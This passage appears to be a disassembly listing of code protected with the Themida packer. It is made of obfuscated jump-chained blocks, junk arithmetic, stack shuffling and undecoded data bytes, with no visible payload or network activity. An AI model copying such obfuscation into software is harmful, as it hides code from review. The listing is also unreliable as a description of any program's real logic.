		jmp	loc_54D77A
; ---------------------------------------------------------------------------

loc_54FECF:				; CODE XREF: Themida_:0054CF69j
		xchg	ecx, [esp]
		pop	esp
		push	ebp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 63E1676Ch
		neg	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 1A624297h
		not	eax
		jmp	loc_54A6ED
; ---------------------------------------------------------------------------
		dw 575Eh
		dd 4BFh, 5FF80100h, 0FF7BB8E9h,	0E9DEF6FFh, 0FFFF4865h
; ---------------------------------------------------------------------------

loc_54FF1C:				; CODE XREF: Themida_:0054F4B6j
		add	edi, 4
		jmp	loc_547D5E
; ---------------------------------------------------------------------------

loc_54FF24:				; CODE XREF: Themida_:005558F1j
		shl	esi, 3
		and	esi, 781F5F51h
		jmp	loc_55228E
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 1000000h, 5A042454h,	0E9242C8Bh, 6D3Dh, 39E9E889h
		db 10h,	2 dup(0)
byte_54FF4B	db 66h			; DATA XREF: Themida_:005430ECo
		dd 53240C8Bh, 0FFEAE1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54FF55:				; CODE XREF: Themida_:005552F7j
		neg	ebx
		shr	ebx, 6
		add	ebx, 0FC20A06Eh
		add	eax, ebx
		jmp	loc_549E41
; ---------------------------------------------------------------------------

loc_54FF67:				; CODE XREF: Themida_:005444D3j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_551BF2
; ---------------------------------------------------------------------------

loc_54FF7C:				; CODE XREF: Themida_:0054ABB4j
		pop	edi
		jmp	loc_5490CF
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 4, 0C8BCD01h, 0A40E924h, 2C330000h, 6A12E924h, 0D828FFFFh
		dd 392CF304h, 24B25266h, 1B60E9h
		db 0
; ---------------------------------------------------------------------------

loc_54FFA9:				; CODE XREF: Themida_:00556B5Bj
		pop	edx
		xor	al, cl
		jmp	loc_545619
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 81h
		dd 15367F2h, 8BD03164h,	89502414h, 405E0h, 4050000h, 87000000h
		dd 515C2404h, 601E2CB9h, 68E9E946h, 0BD55FFFFh,	230A6C88h
		dd 0E95DEE01h, 0FFFFC4A5h, 28FFBA52h, 0E281256Dh, 5B334D68h
		dd 9AFFE94Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54FFFA:				; CODE XREF: Themida_:00544307j
		xor	esi, 3409415Dh
		add	ecx, esi
		pop	esi
		pop	esi
		push	0CB3h
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, eax
		push	esi
		mov	esi, esp
		jmp	loc_54B257
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0BDh
		dd 36294469h, 0CC49E953h, 0C05AFFFFh, 0CBFE08E3h, 0C006E3C0h
		dd 0E95102E3h, 0FFFFC1D0h, 0FF3242E9h, 0E9E956FFh, 8BFFFFC7h
		dd 24D22424h, 0C2E99C24h
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55006B:				; CODE XREF: Themida_:0054398Ej
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		push	ebx
		push	5D98h
		mov	[esp], eax
		jmp	loc_546B85
; ---------------------------------------------------------------------------
aPAJs2z		db 'P╦тaрJИ2Z',0
		align 2

loc_550092:				; CODE XREF: Themida_:0054D69Bj
		push	51BD2A6Fh
		pop	ebx
		shl	ebx, 6
		sub	ebx, 1A1049F4h
		jmp	loc_548F45
; ---------------------------------------------------------------------------
		dw 0F0E9h
		dd 89FFFF31h, 4812424h,	424h, 0E9525D00h, 0FFFFAA6Ah
; ---------------------------------------------------------------------------

loc_5500BC:				; CODE XREF: Themida_:00546D4Dj
		push	eax
		mov	eax, 33D523ACh
		and	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5433EB
; ---------------------------------------------------------------------------
		db 80h
		dd 0C200C0C2h, 80C0EA80h, 73E953EAh
		db 4Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5500DF:				; CODE XREF: Themida_:00557782j
		dec	ebx
		jmp	loc_556821
; ---------------------------------------------------------------------------
		db 68h,	0AEh, 15h
		dd 24890000h, 24048324h, 0C3815B04h, 4,	4B04E952h, 5B350000h
		dd 2D6DB921h, 68FC2E33h, 8158C689h, 6E28F4F6h, 0EAE6810Bh
		dd 68602873h, 3373h, 89243C89h,	4C781E7h, 81000000h, 4EFh
		dd 773DE900h, 1C33FFFFh, 5D69E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55013A:				; CODE XREF: Themida_:00558033j
		push	edx
		push	48984FC2h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5508F8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0E904EB83h, 0FFFFC98Ch, 0C3815B54h, 4, 21FB68h, 3157E900h
		dd 405FFFFh, 0E9000000h, 0FFFFE785h, 0FC3305Bh,	4EE9C0B6h
		dd 5CFFFF52h, 0BA241489h, 3ED78897h, 34FFD031h,	24148B24h
		dd 662368h, 0FA30E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55019E:				; CODE XREF: Themida_:005467A5j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	eax
		sub	cl, 0FFh
		jmp	loc_5490C8
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF30DFh
; ---------------------------------------------------------------------------

loc_5501BC:				; CODE XREF: Themida_:0054FD34j
		sub	ecx, edi
		jmp	loc_545155
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0BE401E7h, 0FF9FB1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5501CD:				; CODE XREF: Themida_:0054DBF3j
		mov	[esp], ebx
		push	ecx
		mov	ecx, 1842D13h
		push	7138h
		mov	[esp], eax
		push	ecx
		push	edx
		jmp	loc_54ECA6
; ---------------------------------------------------------------------------

loc_5501E5:				; CODE XREF: Themida_:00548142j
		pop	edi
		xor	esi, 0D542825h
		xor	ecx, esi
		pop	esi
		sub	esi, ecx
		pop	ecx
		shr	esi, 1
		push	eax
		jmp	loc_54A9E1
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 4, 17E9DD01h, 89FFFFF3h, 0E189240Ch,	4C181h,	0C1830000h
		dd 0E1C7E904h, 74FFFFFFh, 3C8B0424h, 0E870E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550226:				; CODE XREF: Themida_:0054A926j
		mov	esi, esp
		push	ebx
		mov	ebx, 1E4E0CEDh
		push	edi
		mov	edi, 78A84C61h
		or	edi, 4B217A36h
		neg	edi
		sub	edi, 660874A0h
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, ebx
		pop	ebx
		push	6452h
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		jmp	loc_54BACF
; ---------------------------------------------------------------------------
aBHlkSsf	db '│фhLK',1Bh,'И≤F',0
		align 10h
		dd 5A2434FFh, 4EC81h, 14890000h, 81E28924h, 4C2h, 11FAE900h
		dd 0C4830000h, 8A97E904h, 248BFFFFh, 0F9F76624h, 45096866h
		dd 24148966h, 0E99C5066h, 0FFFF2FF3h, 7969EA81h, 0E9556DD1h
		dd 0FFFF47FCh
; ---------------------------------------------------------------------------

loc_5502B4:				; CODE XREF: Themida_:00546CE3j
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		and	ebp, ecx
		pop	ecx
		sub	ebp, 10510A83h
		and	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_54C70C
; ---------------------------------------------------------------------------
aMsw		db '╛Иw#',0             ; DATA XREF: Themida_:00543160o
		dw 8900h
		dd 0D2E9243Ch, 0FFFFFF64h, 0C8B2434h, 46E95224h, 1000012h
		dd 242C8BE8h, 4C481h, 0A4680000h, 0E9000035h, 0FFFFCEA0h
; ---------------------------------------------------------------------------

loc_55031C:				; CODE XREF: Themida_:0055188Dj
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_549097
; ---------------------------------------------------------------------------
		dd 0E9E28952h, 0FFFFA137h
; ---------------------------------------------------------------------------

loc_550330:				; CODE XREF: Themida_:00558080j
		push	esi
		push	edx
		mov	edx, 23EE7E48h
		mov	esi, edx
		pop	edx
		push	esi
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		jmp	loc_554447
; ---------------------------------------------------------------------------

loc_55034A:				; CODE XREF: Themida_:00551D4Bj
		mov	esi, 2C5235B5h
		jmp	loc_552E38
; ---------------------------------------------------------------------------

loc_550354:				; CODE XREF: Themida_:00550715j
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		dec	edx
		push	eax
		push	4B845175h
		pop	eax
		jmp	loc_54A4C5
; ---------------------------------------------------------------------------
word_55036A	dw 31ADh		; DATA XREF: Themida_:0054303Co
		dd 4EC81D8h, 89000000h,	0D4682414h, 8900006Dh, 0E0892404h
		dd 405h, 42D00h, 4870000h, 560CE924h, 0C89FFFFh, 4EC8324h
		dd 83242489h, 59042404h, 23DD68h, 24348900h, 4BEh, 8BF10100h
		dd 0C4812434h, 4, 4C181h, 0C330000h, 240C3124h,	8B240C33h
		dd 5B682424h, 0E9000049h, 5D04h, 73E997B0h, 1FFFFAFh, 875E5FF8h
		dd 248B2404h, 47E6E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5503EA:				; CODE XREF: Themida_:0054B751j
		mov	edx, 0AA91639h
		jmp	loc_5495AC
; ---------------------------------------------------------------------------
aQsbm		db 'QИ│m',0
		align 2

loc_5503FA:				; CODE XREF: Themida_:0054C205j
		add	ebx, edi
		sub	ebx, 309B2F96h
		jmp	loc_5460DF
; ---------------------------------------------------------------------------

loc_550407:				; CODE XREF: Themida_:00550E64j
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_557306
; ---------------------------------------------------------------------------

loc_550415:				; CODE XREF: Themida_:00544331j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544D7A
; ---------------------------------------------------------------------------
		dw 815Dh
		dd 0EF7DF4EBh, 5BDA89FFh, 23E9D129h, 81000025h,	1E05DBF3h
		dd 11EB816Ch, 5644044Dh, 7D3181BEh, 5EF30141h, 8351F381h
		dd 0DF293FACh, 0E9534F5Bh, 7999h
; ---------------------------------------------------------------------------

loc_550454:				; CODE XREF: Themida_:0055106Aj
		xchg	eax, edx
		pop	edx
		and	eax, 131A285Bh
		xor	eax, 32B3519Dh
		xor	eax, 6D6124E5h
		not	eax
		jmp	loc_557A7B
; ---------------------------------------------------------------------------
		dd 0E9C7895Ah, 0FFFFE358h, 0B0505858h, 58C3280Bh, 9CC380h
		dd 9CEB80C3h, 0E90BC380h, 0FFFF7011h, 430368h, 24148900h
		dd 0E99C50h, 53FFFF2Eh,	9C0E84BBh, 0E95F5315h, 0FFFF7239h
		dd 2BEh, 5EF00100h, 8B240487h, 0F662424h, 9C2404ABh, 0FF2DDAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5504C1:				; CODE XREF: Themida_:0054D24Bj
		and	ecx, edx
		pop	edx
		jmp	loc_5488A8
; ---------------------------------------------------------------------------
byte_5504C9	db 64h,	8Fh, 2		; DATA XREF: Themida_:00543204o
		dd 0FFE20DE9h, 29A52DFFh, 652D7020h, 293C7F17h,	0AB05E9D8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5504E2:				; CODE XREF: Themida_:00543B6Cj
		mov	esp, [esp]
		jmp	loc_54D829
; ---------------------------------------------------------------------------

loc_5504EA:				; CODE XREF: Themida_:00551E37j
		dec	edi
		xor	edi, 52240BC3h
		push	edi
		pop	esi
		pop	edi
		push	edx
		push	esi
		mov	esi, 60558A2h
		dec	esi
		xor	esi, 141966F9h
		jmp	loc_54C8B0
; ---------------------------------------------------------------------------
		db 50h
		dd 42474FFh, 8324048Bh,	48F04C4h, 24248B24h, 774B6853h
		dd 34890000h, 5CE3BE24h, 0EC816107h, 4,	55243C89h, 0BD3BFDBDh
		dd 4E83BF47h, 99E90A15h, 81FFFF5Dh, 4C5h, 23BB5300h, 816F1338h
		dd 3D0A90E3h, 8DEB8126h, 0F7220E7Ah, 13CB81D3h,	4B50ED5Dh
		dd 7F9AEB81h, 0DD29FBFDh, 0FFA578E9h, 0E94A5AFFh, 0FFFFEE12h
; ---------------------------------------------------------------------------

loc_550574:				; CODE XREF: Themida_:005514C4j
		sub	ebx, 74857015h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_544129
; ---------------------------------------------------------------------------
		db 97h
		dd 8904EC83h, 0A8E9242Ch, 5FFFFF72h, 4EC81h, 34890000h
		dd 2474FF24h, 24348B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_547AAE
; ---------------------------------------------------------------------------

loc_5505BA:				; CODE XREF: Themida_:0054E8B2j
		add	ebx, eax
		pop	eax
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	ecx
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		db 0C0h, 0E0h, 3
		dd 5524FF04h, 0A1E9ED34h, 43000062h, 22BBF381h,	0F3811D2Dh
		dd 31E356C6h, 8108EBC1h, 6A0BF9E3h, 0FF3815Dh, 0E9FF9DE3h
		dd 4D0Ah, 0DC2FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550602:				; CODE XREF: Themida_:005470F1j
		push	eax
		mov	eax, 479D6C13h
		xor	eax, esi
		jmp	loc_553D0F
; ---------------------------------------------------------------------------
a34Srf		db '34$ИЮF',0
		dw 8B00h
		dd 0C0E92414h, 0E9FFFF36h, 0FFFF2C77h
; ---------------------------------------------------------------------------

loc_550624:				; CODE XREF: Themida_:00554921j
		add	ebp, ebx
		pop	ebx
		push	ebp
		jmp	loc_554457
; ---------------------------------------------------------------------------

loc_55062D:				; CODE XREF: Themida_:00555D8Fj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	eax
		push	ebp
		mov	ebp, 24h
		mov	eax, ebp
		pop	ebp
		add	eax, edi
		push	6699h
		mov	[esp], edi
		jmp	loc_555886
; ---------------------------------------------------------------------------

loc_550659:				; CODE XREF: Themida_:0054BB10j
		mov	[esp], esi
		push	0
		mov	esi, [esp]
		jmp	loc_5449C7
; ---------------------------------------------------------------------------
		db 5Bh,	55h, 0BDh
		dd 620F2B2Ah, 0F8E9DDF7h, 89FFFF56h, 0EB815AD3h, 5D710600h
		dd 21E94343h, 31000056h, 0C33240Ch, 24248B24h, 0FF2434FFh
		dd 83582434h, 895604C4h, 4C681E6h, 83000000h, 348704EEh
		dd 2C895C24h, 0EDA2E924h, 0C31FFFFh, 240C3324h,	8924248Bh
		dd 6968241Ch, 8900003Bh, 0EC832424h, 240C8904h,	4B9h, 24448100h
		dd 923EB504h, 244C0132h, 246C8104h, 923EB504h, 2434FF32h
		dd 4C48359h, 6B5BE95Bh,	0E95B0000h, 0FFFFBC06h,	0FF24248Bh
		dd 48B2434h, 4C48324h, 4EC81h, 0BCE90000h
		db 1Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55070F:				; CODE XREF: Themida_:005441FBj
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_550354
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 1059E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550722:				; CODE XREF: Themida_:00549E94j
		push	cx
		not	byte ptr [esp]
		pop	cx
		add	cl, 77h
		sub	al, cl
		pop	ecx
		push	ebx
		jmp	loc_558331
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 2Eh
		dd 55FFFF97h, 42474FFh,	0FF81D4E9h, 0B1ED81FFh,	0E920122Ah
		dd 39Ch
; ---------------------------------------------------------------------------

loc_550750:				; CODE XREF: Themida_:005486F4j
		mov	ecx, 0E602C2Dh
		jmp	loc_54F1DF
; ---------------------------------------------------------------------------

loc_55075A:				; CODE XREF: Themida_:00553DACj
		mov	edi, 54A90DEEh
		jmp	loc_555EA1
; ---------------------------------------------------------------------------

loc_550764:				; CODE XREF: Themida_:0054EE3Fj
		sub	ebp, 4
		jmp	loc_54CAD4
; ---------------------------------------------------------------------------
byte_55076F	db 0FFh			; DATA XREF: Themida_:00543164o
		dd 34FF2434h, 24048B24h, 473E9h, 24348900h, 42D6E953h
		dd 0E1C00000h, 79C18007h, 889AC180h, 0D3B5E9CAh, 0D001FFFFh
		dd 214C0E05h, 12E95216h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5507A3:				; CODE XREF: Themida_:0054F44Fj
		add	eax, 53264726h
		sub	eax, 47DF3CEAh
		push	edi
		mov	edi, 592F6369h
		add	edi, 0FFFFFFFFh
		add	edi, 0ADA8A73Fh
		jmp	loc_5539AA
; ---------------------------------------------------------------------------
		dd 2C581h, 2C870000h, 0C1385C24h, 2AC5E99Ch, 0D25FFFFh
		dd 0F712AF00h, 0E8C148D8h, 0FDBF5708h, 29D5583Eh, 0C1215FF8h
		dd 0FFC166E9h, 0CEC380FFh, 0EB80D328h, 8B5A66CEh, 0C4832414h
		dd 58EB8004h, 8059B151h, 61E968F1h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55080F:				; CODE XREF: Themida_:0054D961j
		mov	ecx, 14F042C9h
		push	esi
		jmp	loc_553B54
; ---------------------------------------------------------------------------

loc_55081A:				; CODE XREF: Themida_:00545289j
		sub	dword ptr [esp], 0E056483h
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0E056483h
		sub	ecx, 21E8121Ah
		push	eax
		mov	eax, 28AF5AA9h
		add	eax, 0E338D619h
		add	ecx, eax
		pop	eax
		add	ecx, edi
		jmp	loc_549A6A
; ---------------------------------------------------------------------------
		dd 1D12A268h, 0FD1BE906h, 15AFFFFh, 5D0B2DF8h, 0C15F18EDh
		dd 0BD5507E8h, 0FF97455Fh, 2EE9E801h, 5CFFFFA5h, 0FF242C89h
		dd 0C8B2434h, 4C48324h,	0FF04C483h, 815D2434h, 4C4h, 611BE900h
		dd 4C2DFFFFh, 0E97E7276h, 0FFFF2A07h
; ---------------------------------------------------------------------------

loc_550894:				; CODE XREF: Themida_:00555B34j
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_546FC5
; ---------------------------------------------------------------------------
		db 5Dh,	81h, 0F7h
		dd 2A394C82h, 34FFF801h, 1B685F24h, 89000076h, 0E2892414h
		dd 4C281h, 0C2810000h, 4, 5C241487h, 38B36852h,	5EE90000h
		dd 0FFFFF35h, 34FFC0B6h, 52C0E987h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5508EA:				; CODE XREF: Themida_:0054A008j
		not	ebp
		xchg	ebp, [esp]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_548347
; ---------------------------------------------------------------------------

loc_5508F8:				; CODE XREF: Themida_:00550149j
		push	ecx
		jmp	loc_557CB3
; ---------------------------------------------------------------------------
		dw 0F529h
		dd 5E2434FFh, 8104C483h, 0C92586EFh, 0A5C78103h, 0E9526B2Bh
		dd 0FFFF6457h, 510DEE80h, 60E9F188h, 51FFFFBFh,	33E9E189h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55092B:				; CODE XREF: Themida_:00551B89j
		jmp	loc_548692
; ---------------------------------------------------------------------------
		dd 0CD2CC828h, 3DE95966h
		db 0F8h, 2 dup(0FFh)
byte_55093B	db 0ADh			; DATA XREF: Themida_:00543068o
		dd 0A2BB5355h, 0F722BC17h, 0D5CB81DBh, 812A4F22h, 350E1DC3h
		dd 0ECA2E930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550956:				; CODE XREF: Themida_:00552B6Fj
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		add	eax, 7AC32289h
		push	ecx
		mov	ecx, esp
		jmp	loc_554C13
; ---------------------------------------------------------------------------

loc_55096A:				; CODE XREF: Themida_:0054DEEFj
		push	eax
		jmp	loc_54937A
; ---------------------------------------------------------------------------
		dd 7679F181h, 0CF016489h, 241C8B59h, 5E08950h, 4, 405h
		dd 0A459E900h, 0C483FFFFh, 243C3304h, 33243C31h, 89E9243Ch
		dd 31000031h, 242C8BE9h, 3104C483h, 0DD0159CBh,	4C5835Bh
		dd 31242C33h, 2C33242Ch, 0B9D8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5509BE:				; CODE XREF: Themida_:00556F67j
		push	ebx
		push	ebp
		mov	ebp, 25D76130h
		mov	ebx, ebp
		pop	ebp
		dec	ebx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_5552F0
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFFD5EE9h, 4C381FFh, 81000000h, 4C3h, 241C8700h
		dd 0DAE9815Ch, 0F75CE457h, 8E1C1D1h, 0EA68D987h, 8900003Dh
		dd 0B9240Ch, 29000000h,	4EC83D9h, 0E9241C89h, 0FFFFF325h
		dd 4C48158h, 0E9000000h, 0FFFFFBEFh, 0FF2434FFh, 148B2434h
		dd 5E545624h, 4C681h, 73E90000h, 89FFFFD8h, 0A1E9240Ch
		dd 89000044h, 0AAE9242Ch
		db 5Ch,	2 dup(0)
byte_550A47	db 0FFh			; DATA XREF: Themida_:0054324Co
		dd 0ACE92434h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550A4F:				; CODE XREF: Themida_:00547F01j
		add	edi, 0BDFED604h
		add	eax, edi
		pop	edi
		add	eax, edi
		sub	eax, 7933098Eh
		mov	edi, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	7545h
		mov	[esp], eax
		jmp	loc_54CBDC
; ---------------------------------------------------------------------------
		db 1, 0F1h, 5Eh
		dd 4E981h, 0FF510000h, 0E9042474h, 431Eh, 9CC38159h, 2910C40Fh
		dd 9CEB81CBh, 0E910C40Fh, 548Dh
; ---------------------------------------------------------------------------

loc_550AA0:				; CODE XREF: Themida_:0054C3B0j
		add	esp, 4
		jmp	loc_558399
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 92F28100h, 8156C669h, 15A088C2h, 8EAC184h, 0E1BEA81h
		dd 0D2F7609Eh, 5A74E9h,	4B800h,	0C2010000h, 0E92434FFh
		dd 0FFFFA957h, 0F9B9E957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550AE2:				; CODE XREF: Themida_:00549070j
		push	200000h
		jmp	loc_5479AD
; ---------------------------------------------------------------------------
		dd 8904EC83h, 14F7242Ch, 0B9515D24h, 4CC956E1h,	8102E9C1h
		dd 3F79F7C1h, 5BBE5661h, 0E9665A0Ch, 0FFFF89ADh
; ---------------------------------------------------------------------------

loc_550B10:				; CODE XREF: Themida_:00549F8Fj
		push	9Bh
		mov	[esp], esp
		jmp	loc_5579E8
; ---------------------------------------------------------------------------
		db 9, 0DAh, 0E9h
		dd 0FFFFFB45h
; ---------------------------------------------------------------------------

loc_550B24:				; CODE XREF: Themida_:00554D71j
		push	7042h
		mov	[esp], edx
		xchg	esi, [esp]
		not	esi
		jmp	loc_54AF4E
; ---------------------------------------------------------------------------
		dw 0CF89h
		dd 5FF82959h, 297FBA52h, 23E91F7Dh, 0B800006Ah,	6B4E6C89h
		dd 4958C189h, 0FF356FE9h
		db 0FFh
byte_550B55	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:005431CCo
		dd 0FFA5FCE9h, 0C2814AFFh, 75CF2B1Ch, 2D52F281h, 0D601B199h
		dd 44A0E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550B72:				; CODE XREF: Themida_:00551C24j
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		mov	eax, esp
		jmp	loc_54F649
; ---------------------------------------------------------------------------
		db 33h
		dd 248B243Ch, 0B42EE924h, 348BFFFFh, 3ED4E924h,	0DEF60000h
		dd 8904EC83h, 0E189240Ch, 4C181h, 0E9810000h, 4, 0FFE1D8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550BAD:				; CODE XREF: Themida_:0054364Bj
		mov	edx, 0D83AE6FCh
		jmp	loc_54E71D
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 2C815C24h,	554CC424h, 45E95267h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550BCB:				; CODE XREF: Themida_:0054C0D1j
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		mov	ecx, 2AEA7E8Bh
		shr	ecx, 6
		jmp	loc_553EA4
; ---------------------------------------------------------------------------
		db 0F6h, 0D2h, 0E9h
		dd 20CCh, 6804C483h, 27B8h, 0E9243C89h,	1611h, 81243C89h
		dd 4ECh, 24248900h, 4BF57h, 7C010000h, 4AE90424h, 87FFFFA1h
		dd 0BFE9240Ch
		db 63h,	2 dup(0)
byte_550C23	db 66h			; DATA XREF: Themida_:00543080o
		dd 53240C8Bh, 0C381E389h, 4, 8704EB83h,	0E95C241Ch, 0FFFFAD3Eh
; ---------------------------------------------------------------------------

loc_550C3C:				; CODE XREF: Themida_:00554452j
		push	esi
		jmp	loc_55301C
; ---------------------------------------------------------------------------
word_550C42	dw 8B66h		; DATA XREF: Themida_:00543034o
		dd 0EF68240Ch, 89000004h, 0FF542404h, 55582434h, 0E623E954h
		dd 0EC83FFFFh, 24048904h, 42474FFh, 24048F58h, 0E924248Bh
		dd 2736h
; ---------------------------------------------------------------------------

loc_550C70:				; CODE XREF: Themida_:0055250Bj
		pop	esp
		mov	[esp], edx
		jmp	loc_54A230
; ---------------------------------------------------------------------------
		db 81h,	0E1h, 5Bh
		dd 812CE600h, 0B75AFCC9h, 8EE9817Ah, 897984F3h,	0EA2959CDh
		dd 64E9535Dh, 6800000Bh, 6D60h,	24048F54h, 4BD55h, 0B1E90000h
		dd 81FFFF33h, 4C4h, 243C3300h, 33243C31h, 248B243Ch, 48B6624h
		dd 498B6824h, 2C890000h, 37966824h, 0D8E90000h,	52FFFFF3h
		dd 5A241CF7h, 4C88BB53h, 24E92BB4h, 5000053h, 6F247D7Eh
		dd 7E2DF829h, 56F247Dh,	60876CB2h, 5F2434FFh, 0FF9947E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550CFD:				; CODE XREF: Themida_:0054BF3Dj
		not	ebx
		xor	edx, ebx
		xor	ebx, edx
		xor	edx, ebx
		push	edi
		push	eax
		jmp	loc_54D46E
; ---------------------------------------------------------------------------

loc_550D0C:				; CODE XREF: Themida_:0054FA9Cj
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_54E274
; ---------------------------------------------------------------------------

loc_550D18:				; CODE XREF: Themida_:00557197j
		push	24h
		pop	ecx
		push	edi
		mov	edi, 190907B9h
		push	edx
		push	esi
		mov	esi, 6DB715B0h
		dec	esi
		push	ecx
		mov	ecx, 4B8257CDh
		add	esi, ecx
		pop	ecx
		inc	esi
		push	574Bh
		mov	[esp], edi
		jmp	loc_54F5ED
; ---------------------------------------------------------------------------
		db 8Bh
		db 0Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebp
		push	edx
		mov	edx, 4F590FB6h
		mov	ebp, edx
		pop	edx
		sub	ebp, 0FFFFFFFFh
		push	0
		jmp	loc_54B3EA
; ---------------------------------------------------------------------------
byte_550D6F	db 0FFh			; DATA XREF: Themida_:005431B0o
		dd 669D1C77h, 24041858h, 50F8E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D7E:				; CODE XREF: Themida_:00556CFBj
		push	ecx
		mov	cl, 73h
		mov	ah, 57h
		add	ah, cl
		pop	ecx
		or	ah, 37h
		jmp	loc_545827
; ---------------------------------------------------------------------------
		dw 555Dh
		dd 4188B850h, 8ABD5608h, 0E9560841h, 1658h
; ---------------------------------------------------------------------------

loc_550DA0:				; CODE XREF: Themida_:0054EDABj
		sub	eax, esi
		mov	esi, [esp]
		jmp	loc_548FB4
; ---------------------------------------------------------------------------

loc_550DAA:				; CODE XREF: Themida_:00553E2Ej
		mov	esp, [esp]
		xor	[esp], al
		pushf
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 57B909DEh, 9DABD55h,	0EA2957B9h, 8BD5015Dh, 0C4812414h
		dd 4, 5E08950h,	4, 6B80BE56h, 0EE81171Ch, 171C6B7Ch, 0FFDAAAE9h
		dd 8BDF01FFh, 0C483241Ch, 9D03E904h, 0EE81FFFFh, 4, 5C243487h
		dd 0E9242489h, 63C1h, 0DBF7DBF7h, 278AC381h, 0F3813448h
		dd 5EB71D16h, 7C9CE381h, 0F0E96D91h, 0C1FFFFEFh, 0BB5308E6h
